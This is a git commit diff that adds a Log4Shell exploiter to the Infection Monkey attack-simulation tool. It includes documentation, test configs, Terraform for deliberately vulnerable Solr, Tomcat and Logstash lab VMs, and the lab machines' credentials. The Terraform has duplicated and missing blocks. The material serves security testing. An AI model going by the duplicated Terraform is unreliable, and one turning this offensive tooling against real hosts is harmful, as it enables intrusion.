forked from p15670423/monkey
Merge branch 'release/1.13.0' into develop
This commit is contained in:
commit
4a7c8fe411
|
@ -42,6 +42,15 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
|||
### Security
|
||||
|
||||
|
||||
## [1.13.0] - 2022-01-25
|
||||
### Added
|
||||
- A new exploiter that allows propagation via the Log4Shell vulnerability
|
||||
(CVE-2021-44228). #1663
|
||||
|
||||
### Fixed
|
||||
- Exploiters attempting to start servers listening on privileged ports,
|
||||
resulting in failed propagation. 8f53a5c
|
||||
|
||||
## [1.12.0] - 2021-10-27
|
||||
### Added
|
||||
- A new exploiter that allows propagation via PowerShell Remoting. #1246
|
||||
|
|
|
@ -0,0 +1,37 @@
|
|||
---
|
||||
title: "Log4Shell"
|
||||
date: 2022-01-12T14:07:23+05:30
|
||||
draft: false
|
||||
tags: ["exploit", "linux", "windows"]
|
||||
---
|
||||
|
||||
The Log4Shell exploiter exploits
|
||||
[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228).
|
||||
|
||||
|
||||
### Description
|
||||
|
||||
Some versions of Apache Log4j, a Java logging framework, have a logging feature
|
||||
called "Message Lookup Substitution" enabled by default. This allows replacing
|
||||
certain special strings by dynamically-generated strings at the time of
|
||||
logging. If log messages or log message parameters can be controlled by an
|
||||
attacker, arbitrary code can be executed. The Log4Shell exploiter takes
|
||||
advantage of this vulnerability to propagate to a victim machine.
|
||||
|
||||
You can learn more about this vulnerability and potential mitigations
|
||||
[here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29).
|
||||
|
||||
|
||||
### Services exploited
|
||||
|
||||
The Infection Monkey will attempt to exploit the Log4Shell vulnerability in the
|
||||
following services:
|
||||
|
||||
- Apache Solr
|
||||
- Apache Tomcat
|
||||
- Logstash
|
||||
|
||||
**Note**: Even if none of these services are running in your environment,
|
||||
running the Log4Shell exploiter can be a good way to test your IDS/IPS or EDR
|
||||
solutions. These solutions should detect that the Infection Monkey is attempting
|
||||
to exploit the Log4Shell vulnerability and raise an appropriate alert.
|
|
@ -24,12 +24,7 @@ When ready, you can browse to the Infection Monkey running on the fresh deployme
|
|||
|
||||
`https://{public-ip}:5000`
|
||||
|
||||
You will be presented with a login page. Enter the username **monkey**, and the
|
||||
new EC2 instance's **instance ID** for your password. To find your instance ID,
|
||||
go to the EC2 console and select your instance. It should appear in the details
|
||||
pane below.
|
||||
|
||||
![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID")
|
||||
To login to the machine, use *ubuntu* username.
|
||||
|
||||
## Integration with AWS services
|
||||
|
||||
|
|
|
@ -23,13 +23,13 @@ The Infection Monkey Docker container works on Linux only. It is not compatible
|
|||
1. Extract the Monkey Island Docker tarball:
|
||||
|
||||
```bash
|
||||
tar -xvzf InfectionMonkey-docker-v1.12.0.tgz
|
||||
tar -xvzf InfectionMonkey-docker-v1.13.0.tgz
|
||||
```
|
||||
|
||||
1. Load the Monkey Island Docker image:
|
||||
|
||||
```bash
|
||||
sudo docker load -i InfectionMonkey-docker-v1.12.0.tar
|
||||
sudo docker load -i InfectionMonkey-docker-v1.13.0.tar
|
||||
```
|
||||
|
||||
### 2. Start MongoDB
|
||||
|
|
|
@ -23,18 +23,18 @@ installed, but the ones that we've tested are:
|
|||
- Ubuntu Focal 20.04
|
||||
- Ubuntu Hirsute 21.04
|
||||
|
||||
On Windows, AppImage can be run in WSL.
|
||||
On Windows, AppImage can be run in WSL 2.
|
||||
|
||||
|
||||
## Deployment
|
||||
|
||||
1. Make the AppImage package executable:
|
||||
```bash
|
||||
chmod u+x InfectionMonkey-v1.12.0.AppImage
|
||||
chmod u+x InfectionMonkey-v1.13.0.AppImage
|
||||
```
|
||||
1. Start Monkey Island by running the Infection Monkey AppImage package:
|
||||
```bash
|
||||
./InfectionMonkey-v1.12.0.AppImage
|
||||
./InfectionMonkey-v1.13.0.AppImage
|
||||
```
|
||||
1. Access the Monkey Island web UI by pointing your browser at
|
||||
`https://localhost:5000`.
|
||||
|
|
Binary file not shown.
Before Width: | Height: | Size: 237 KiB |
|
@ -0,0 +1,16 @@
|
|||
from copy import copy
|
||||
|
||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||
|
||||
|
||||
class Log4jLogstash(ConfigTemplate):
|
||||
|
||||
config_values = copy(BaseTemplate.config_values)
|
||||
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"],
|
||||
}
|
||||
)
|
|
@ -0,0 +1,16 @@
|
|||
from copy import copy
|
||||
|
||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||
|
||||
|
||||
class Log4jSolr(ConfigTemplate):
|
||||
|
||||
config_values = copy(BaseTemplate.config_values)
|
||||
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"],
|
||||
}
|
||||
)
|
|
@ -0,0 +1,16 @@
|
|||
from copy import copy
|
||||
|
||||
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
|
||||
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
|
||||
|
||||
|
||||
class Log4jTomcat(ConfigTemplate):
|
||||
|
||||
config_values = copy(BaseTemplate.config_values)
|
||||
|
||||
config_values.update(
|
||||
{
|
||||
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
|
||||
"basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"],
|
||||
}
|
||||
)
|
|
@ -24,6 +24,7 @@ class Performance(ConfigTemplate):
|
|||
"MSSQLExploiter",
|
||||
"PowerShellExploiter",
|
||||
"ZerologonExploiter",
|
||||
"Log4ShellExploiter",
|
||||
],
|
||||
"basic_network.network_analysis.inaccessible_subnets": [
|
||||
"10.2.2.0/30",
|
||||
|
@ -57,5 +58,11 @@ class Performance(ConfigTemplate):
|
|||
"10.2.2.23",
|
||||
"10.2.2.24",
|
||||
"10.2.2.25",
|
||||
"10.2.3.55",
|
||||
"10.2.3.56",
|
||||
"10.2.3.49",
|
||||
"10.2.3.50",
|
||||
"10.2.3.51",
|
||||
"10.2.3.52",
|
||||
],
|
||||
}
|
||||
|
|
|
@ -26,5 +26,11 @@ GCP_TEST_MACHINE_LIST = {
|
|||
"powershell-3-46",
|
||||
"powershell-3-47",
|
||||
"powershell-3-48",
|
||||
"log4j-logstash-55",
|
||||
"log4j-logstash-56",
|
||||
"log4j-solr-49",
|
||||
"log4j-solr-50",
|
||||
"log4j-tomcat-51",
|
||||
"log4j-tomcat-52",
|
||||
],
|
||||
}
|
||||
|
|
|
@ -11,6 +11,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
|
|||
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
|
||||
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
|
||||
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat
|
||||
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
|
||||
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
|
||||
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
|
||||
|
@ -198,7 +201,22 @@ class TestMonkeyBlackbox:
|
|||
TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter")
|
||||
|
||||
def test_shellshock_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter")
|
||||
TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellshock_exploiter")
|
||||
|
||||
def test_log4j_solr_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, Log4jSolr, "Log4Shell_Solr_exploiter"
|
||||
)
|
||||
|
||||
def test_log4j_tomcat_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter"
|
||||
)
|
||||
|
||||
def test_log4j_logstash_exploiter(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
island_client, Log4jLogstash, "Log4Shell_logstash_exploiter"
|
||||
)
|
||||
|
||||
def test_tunneling(self, island_client):
|
||||
TestMonkeyBlackbox.run_exploitation_test(
|
||||
|
|
|
@ -6,6 +6,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
|
|||
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
|
||||
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
|
||||
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
|
||||
from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat
|
||||
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
|
||||
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
|
||||
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
|
||||
|
@ -53,6 +56,9 @@ CONFIG_TEMPLATES = [
|
|||
WmiPth,
|
||||
Zerologon,
|
||||
Drupal,
|
||||
Log4jLogstash,
|
||||
Log4jTomcat,
|
||||
Log4jSolr,
|
||||
]
|
||||
|
||||
|
||||
|
|
|
@ -33,8 +33,14 @@ This document describes Infection Monkey’s test network, how to deploy and use
|
|||
[Nr. 3-46 Powershell](#_Toc536021480)<br>
|
||||
[Nr. 3-47 Powershell](#_Toc536021481)<br>
|
||||
[Nr. 3-48 Powershell](#_Toc536021482)<br>
|
||||
[Nr. 250 MonkeyIsland](#_Toc536021483)<br>
|
||||
[Nr. 251 MonkeyIsland](#_Toc536021484)<br>
|
||||
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
|
||||
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
|
||||
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
|
||||
[Nr. 3-52 Log4j Tomcat](#_Toc536021486)<br>
|
||||
[Nr. 3-55 Log4j Logstash](#_Toc536021487)<br>
|
||||
[Nr. 3-56 Log4j Logstash](#_Toc536021488)<br>
|
||||
[Nr. 250 MonkeyIsland](#_Toc536021489)<br>
|
||||
[Nr. 251 MonkeyIsland](#_Toc536021490)<br>
|
||||
[Network topography](#network-topography)<br>
|
||||
|
||||
# Warning\!
|
||||
|
@ -419,7 +425,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.9</td>
|
||||
<td>Accessible only through Nr.9</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -455,7 +461,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.10</td>
|
||||
<td>Accessible only through Nr.10</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -487,7 +493,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>Accessible only trough Nr.10</td>
|
||||
<td>Accessible only through Nr.10</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -1119,7 +1125,179 @@ Update all requirements using deployment script:<br>
|
|||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021483" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
|
||||
<th><p><span id="_Toc536021483" class="anchor"></span>Nr. <strong>3-49 Log4j Solr</strong></p>
|
||||
<p>(10.2.3.49)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 18.04LTS</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Apache Solr 8.11.0</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>8983</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: m0nk3y</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021484" class="anchor"></span>Nr. <strong>3-50 Log4j Solr</strong></p>
|
||||
<p>(10.2.3.50)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Apache solr 8.11.0</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>8983</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: Passw0rd!</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021485" class="anchor"></span>Nr. <strong>3-51 Log4j Tomcat</strong></p>
|
||||
<p>(10.2.3.51)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 18.04LTS</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Apache Tomcat 8.0.36</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>8080</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021486" class="anchor"></span>Nr. <strong>3-52 Log4j Tomcat</strong></p>
|
||||
<p>(10.2.3.52)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Apache Tomcat 8.0.36</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>8080</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: Tomcat@22</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021487" class="anchor"></span>Nr. <strong>3-55 Log4j Logstash</strong></p>
|
||||
<p>(10.2.3.55)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Ubuntu 18.04LTS</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Logstash 5.5.0</td>
|
||||
<td>Java 1.8.0</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>9600</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: logstash</td>
|
||||
<td></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021488" class="anchor"></span>Nr. <strong>3-56 Log4j Logstash</strong></p>
|
||||
<p>(10.2.3.56)</p></th>
|
||||
<th>(Vulnerable)</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr class="odd">
|
||||
<td>OS:</td>
|
||||
<td><strong>Windows Server 2016 x64</strong></td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Software:</td>
|
||||
<td>Logstash 5.5.0</td>
|
||||
<td>Java 1.8.0</td>
|
||||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Default server’s port:</td>
|
||||
<td>9600</td>
|
||||
</tr>
|
||||
<tr class="even">
|
||||
<td>Notes:</td>
|
||||
<td>User: m0nk3y, Password: 7;@K"kPTM</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021489" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
|
||||
<p>(10.2.2.250)</p></th>
|
||||
<th></th>
|
||||
</tr>
|
||||
|
@ -1143,7 +1321,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Notes:</td>
|
||||
<td>Only accessible trough GCP</td>
|
||||
<td>Only accessible through GCP</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
@ -1151,7 +1329,7 @@ Update all requirements using deployment script:<br>
|
|||
<table>
|
||||
<thead>
|
||||
<tr class="header">
|
||||
<th><p><span id="_Toc536021484" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
|
||||
<th><p><span id="_Toc536021490" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
|
||||
<p>(10.2.2.251)</p></th>
|
||||
<th></th>
|
||||
</tr>
|
||||
|
@ -1175,7 +1353,7 @@ Update all requirements using deployment script:<br>
|
|||
</tr>
|
||||
<tr class="odd">
|
||||
<td>Notes:</td>
|
||||
<td>Only accessible trough GCP</td>
|
||||
<td>Only accessible through GCP</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
|
|
@ -72,6 +72,30 @@ data "google_compute_image" "powershell-3-45" {
|
|||
name = "powershell-3-45"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-solr-49" {
|
||||
name = "log4j-solr-49"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-solr-50" {
|
||||
name = "log4j-solr-50"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-tomcat-51" {
|
||||
name = "log4j-tomcat-51"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-solr-50" {
|
||||
name = "log4j-solr-50"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-logstash-55" {
|
||||
name = "log4j-logstash-55"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "log4j-logstash-56" {
|
||||
name = "log4j-logstash-56"
|
||||
project = local.monkeyzoo_project
|
||||
}
|
||||
data "google_compute_image" "weblogic-18" {
|
||||
name = "weblogic-18"
|
||||
project = local.monkeyzoo_project
|
||||
|
|
|
@ -340,6 +340,111 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
|
|||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "powershell-3-45" {
|
||||
name = "${local.resource_prefix}powershell-3-45"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.powershell-3-45.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.45"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-solr-49" {
|
||||
name = "${local.resource_prefix}log4j-solr-49"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-solr-49.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.49"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-solr-50" {
|
||||
name = "${local.resource_prefix}log4j-solr-50"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-solr-50.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.50"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-tomcat-51" {
|
||||
name = "${local.resource_prefix}log4j-tomcat-51"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-tomcat-51.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.51"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-tomcat-52" {
|
||||
name = "${local.resource_prefix}log4j-tomcat-52"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-tomcat-52.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.52"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-logstash-55" {
|
||||
name = "${local.resource_prefix}log4j-logstash-55"
|
||||
source_instance_template = local.default_linux
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-logstash-55.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.55"
|
||||
}
|
||||
}
|
||||
|
||||
resource "google_compute_instance_from_template" "log4j-logstash-56" {
|
||||
name = "${local.resource_prefix}log4j-logstash-56"
|
||||
source_instance_template = local.default_windows
|
||||
boot_disk{
|
||||
initialize_params {
|
||||
image = data.google_compute_image.log4j-logstash-56.self_link
|
||||
}
|
||||
auto_delete = true
|
||||
}
|
||||
network_interface {
|
||||
subnetwork="${local.resource_prefix}monkeyzoo-main"
|
||||
network_ip="10.2.3.56"
|
||||
}
|
||||
}
|
||||
|
||||
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
|
||||
resource "google_compute_instance_from_template" "upgrader-17" {
|
||||
name = "${local.resource_prefix}upgrader-17"
|
||||
|
|
|
@ -4,7 +4,7 @@ import argparse
|
|||
from pathlib import Path
|
||||
|
||||
MAJOR = "1"
|
||||
MINOR = "12"
|
||||
MINOR = "13"
|
||||
PATCH = "0"
|
||||
|
||||
build_file_path = Path(__file__).parent.joinpath("BUILD")
|
||||
|
|
|
@ -27,8 +27,10 @@ pycryptodome = "*" # Used in common/utils/shellcode_obfuscator.py
|
|||
altgraph = "*" # Required for pyinstaller branch, without it agents fail to build
|
||||
pysmb = "*"
|
||||
"WinSys-3.x" = "*"
|
||||
ldaptor = "*"
|
||||
|
||||
[dev-packages]
|
||||
ldap3 = "*"
|
||||
|
||||
[requires]
|
||||
python_version = "3.7"
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"_meta": {
|
||||
"hash": {
|
||||
"sha256": "3b8ff927c305bfc92e7a2b3dfc847bba8ae4e7efe11e1babeaf27839df90a84a"
|
||||
"sha256": "945e6a45bb4d4e87d66a82b788937b323596e4366daa44f743bca6eaf193045d"
|
||||
},
|
||||
"pipfile-spec": 6,
|
||||
"requires": {
|
||||
|
@ -54,12 +54,30 @@
|
|||
"markers": "python_version >= '3.6'",
|
||||
"version": "==0.1.2"
|
||||
},
|
||||
"attrs": {
|
||||
"hashes": [
|
||||
"sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4",
|
||||
"sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd"
|
||||
],
|
||||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
|
||||
"version": "==21.4.0"
|
||||
},
|
||||
"automat": {
|
||||
"hashes": [
|
||||
"sha256:7979803c74610e11ef0c0d68a2942b152df52da55336e0c9d58daf1831cbdf33",
|
||||
"sha256:b6feb6455337df834f6c9962d6ccf771515b7d939bca142b29c20c2376bc6111"
|
||||
],
|
||||
"version": "==20.2.0"
|
||||
},
|
||||
"bcrypt": {
|
||||
"hashes": [
|
||||
"sha256:56e5da069a76470679f312a7d3d23deb3ac4519991a0361abc11da837087b61d",
|
||||
"sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29",
|
||||
"sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7",
|
||||
"sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34",
|
||||
"sha256:a0584a92329210fcd75eb8a3250c5a941633f8bfaf2a18f81009b097732839b7",
|
||||
"sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55",
|
||||
"sha256:b589229207630484aefe5899122fb938a5b017b0f4349f769b8c13e78d99a8fd",
|
||||
"sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6",
|
||||
"sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1",
|
||||
"sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d"
|
||||
|
@ -69,19 +87,19 @@
|
|||
},
|
||||
"boto3": {
|
||||
"hashes": [
|
||||
"sha256:035191ad6c7e8aed972e1374f4e0ecb38767c497fd6c961e4ae33898b62f78fb",
|
||||
"sha256:cd58563dd3f36d5909815752b12c80a2c510c051474f8296e28dbd3ef5634d65"
|
||||
"sha256:49499acf3f1dbb5f09eb93abfeb4025cd76fb7880c16a01a2901dfa335496f0d",
|
||||
"sha256:d2fce99e42cb7cb263f3ff272bc707aa6a66bc6ab30d90bf0ff6cbdddd867cfa"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==1.20.11"
|
||||
"version": "==1.20.42"
|
||||
},
|
||||
"botocore": {
|
||||
"hashes": [
|
||||
"sha256:133fa0837762587fb4e5da3fb61ac0b45495cd9fd2d2be7679ba64899da1f3ba",
|
||||
"sha256:497234f137810909289a600433cec5583ea8dc05a78b644653d76484138d78b9"
|
||||
"sha256:a58f1e559ff2c65495f55ac48217afefb56f2d709d30f7377c40287e8c5765d0",
|
||||
"sha256:e2e5509934e634a374afa560de4ddc770bb562c7259cb63cd92aa7e54f943bc1"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==1.23.11"
|
||||
"version": "==1.23.42"
|
||||
},
|
||||
"certifi": {
|
||||
"hashes": [
|
||||
|
@ -155,19 +173,19 @@
|
|||
},
|
||||
"charset-normalizer": {
|
||||
"hashes": [
|
||||
"sha256:e019de665e2bcf9c2b64e2e5aa025fa991da8720daa3c1138cadd2fd1856aed0",
|
||||
"sha256:f7af805c321bfa1ce6714c51f254e0d5bb5e5834039bc17db7ebe3a4cec9492b"
|
||||
"sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd",
|
||||
"sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455"
|
||||
],
|
||||
"markers": "python_version >= '3'",
|
||||
"version": "==2.0.7"
|
||||
"version": "==2.0.10"
|
||||
},
|
||||
"cheroot": {
|
||||
"hashes": [
|
||||
"sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c",
|
||||
"sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567"
|
||||
"sha256:366adf6e7cac9555486c2d1be6297993022eff6f8c4655c1443268cca3f08e25",
|
||||
"sha256:62cbced16f07e8aaf512673987cd6b1fc5ad00073345e9ed6c4e2a5cc2a3a22d"
|
||||
],
|
||||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
|
||||
"version": "==8.5.2"
|
||||
"version": "==8.6.0"
|
||||
},
|
||||
"cherrypy": {
|
||||
"hashes": [
|
||||
|
@ -208,6 +226,13 @@
|
|||
],
|
||||
"version": "==10.0"
|
||||
},
|
||||
"constantly": {
|
||||
"hashes": [
|
||||
